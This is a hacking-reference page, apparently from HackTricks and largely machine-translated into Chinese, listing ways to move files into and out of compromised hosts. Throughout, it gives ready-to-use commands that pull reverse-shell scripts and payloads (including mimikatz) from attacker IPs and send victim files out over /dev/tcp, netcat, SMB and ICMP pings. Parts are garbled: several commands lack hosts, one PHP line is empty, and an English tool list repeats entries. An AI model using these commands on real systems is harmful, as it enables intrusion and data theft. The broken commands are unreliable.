> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/generic-methodologies-and-resources/exfiltration.md). # Exfiltration
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{% embed url="" %} *** ## 常见的白名单域名用于信息泄露 查看以找到常见的可被滥用的白名单域名 ## 复制&粘贴Base64 **Linux** ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` **Windows** ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` ## HTTP **Linux** ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` **Windows** ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf #PS (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ### 上传文件 * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) * [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Python 模块 [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver python3 -m uploadserver # With basic auth: # python3 -m uploadserver --basic-auth hello:world # Send a file curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` ### **HTTPS 服务器** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ # generate server.xml with the following command: # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # run as follows: # python simple-https-server.py # then in your browser, visit: # https://localhost:443 ### PYTHON 2 import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() ### ### PYTHON3 from http.server import HTTPServer, BaseHTTPRequestHandler import ssl httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True) httpd.serve_forever() ### ### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): print(request.get_json()) return "OK" if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` ## FTP ### FTP服务器（Python） ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` ### FTP服务器（NodeJS） ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` ### FTP服务器 (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` ```bash #Run the following script to configure the FTP server #!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pwd useradd fusr -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` ### **Windows** 客户端 ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt echo USER anonymous >> ftp.txt echo anonymous >> ftp.txt echo bin >> ftp.txt echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` ## SMB Kali作为服务器 ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` 或者使用samba创建一个smb共享： ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes #Start samba service smbd restart ``` Windows *** ## Exfiltration ### Techniques 1. **Exfiltration Over C2 Channel**: Utilize the existing command and control channel to exfiltrate data. 2. **Exfiltration Over Alternative Protocol**: Use alternative protocols such as DNS, ICMP, or HTTP to exfiltrate data. 3. **Exfiltration Over Unencrypted Protocols**: Leverage unencrypted protocols like FTP, Telnet, or HTTP to exfiltrate data. 4. **Exfiltration Over Encrypted Protocols**: Utilize encrypted protocols like HTTPS or SSH to exfiltrate data. 5. **Exfiltration Over Ingress Filtering**: Bypass egress filtering by exfiltrating data over allowed ingress channels. ### Tools * **Netcat**: A versatile networking utility for reading from and writing to network connections. * **PowerShell**: A task automation framework for configuring systems and automating tasks. * **Certutil**: Command-line utility for managing certificates. * **Bitsadmin**: A tool to create and manage transfer jobs using Background Intelligent Transfer Service (BITS). * **FTP**: File Transfer Protocol for transferring files between a client and server on a network. * **Wget**: A command-line utility for downloading files from the web. * **Curl**: A tool for transferring data with URLs. * **SMBClient**: A tool for accessing shared folders. * **RDP**: Remote Desktop Protocol for remote access to Windows systems. * **WMIC**: Command-line tool for Windows Management Instrumentation. * **Reg**: Command-line utility for working with the registry. * **Schtasks**: Command-line tool for managing scheduled tasks. * **Bitsadmin**: Command-line tool for managing Background Intelligent Transfer Service (BITS) jobs. * **Vssadmin**: Command-line tool for managing Volume Shadow Copy Service. * **Wevtutil**: Command-line tool for managing event logs. * **Forfiles**: Command-line tool for batch processing files. * **Robocopy**: Command-line tool for copying files and directories. * **Diskshadow**: Command-line tool for managing shadow copies. * **Net**: Command-line tool for managing network resources. * **Tasklist**: Command-line tool for listing running processes. * **Taskkill**: Command-line tool for terminating processes. * **Regsvr32**: Command-line tool for registering and unregistering DLLs. * **Regini**: Command-line tool for modifying registry permissions. * **Regsvcs**: Command-line tool for registering and unregistering .NET components. * **Regsvr32**: Command-line tool for registering and unregistering DLLs. * **Regsvr32**: Command-line tool for registering and unregistering DLLs. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` ## SCP 攻击者必须运行SSHd。 ```bash scp @:/ ``` ## SSHFS 如果受害者有SSH，攻击者可以将受害者的目录挂载到攻击者的计算机上。 ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## 网络通信 ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp ### 从受害者下载文件 ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` ### 上传文件至受害者 ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` 感谢 **@BinaryShadow\_** ## **ICMP** ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done #This will 4bytes per ping packet (you could probably increase this until 16) ``` ```python from scapy.all import * #This is ippsec receiver created in the HTB machine Mischief def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: data = pkt[ICMP].load[-4:] #Read the 4bytes interesting print(f"{data.decode('utf-8')}", flush=True, end="") sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** 如果您可以将数据发送到SMTP服务器，您可以使用Python创建一个SMTP来接收数据： ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP 在XP和2003中默认情况下（在其他系统中需要在安装过程中显式添加） 在Kali中，**启动TFTP服务器**： ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` **Python中的TFTP服务器：** ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` 在**受害者**中，连接到Kali服务器： ```bash tftp -i get nc.exe ``` ## PHP 使用 PHP 一行代码下载文件： ```bash echo "" > down2.php ``` ## VBScript Visual Basic Script (VBScript) 是一种基于对象的脚本语言，通常用于 Windows 环境中。VBScript 可以通过多种方式进行数据泄露，包括通过网络传输数据，将数据写入文件，或者通过电子邮件发送数据。 ```bash Attacker> python -m SimpleHTTPServer 80 ``` **受害者** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs ``` ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe `debug.exe`程序不仅允许检查二进制文件，还具有**从十六进制重建它们的能力**。这意味着通过提供一个二进制文件的十六进制表示，`debug.exe`可以生成该二进制文件。然而，重要的是要注意`debug.exe`有一个**组装文件大小限制为64 kb**。 ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` ## DNS * **Try Hard Security Group**
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从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)! 支持HackTricks的其他方式： * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。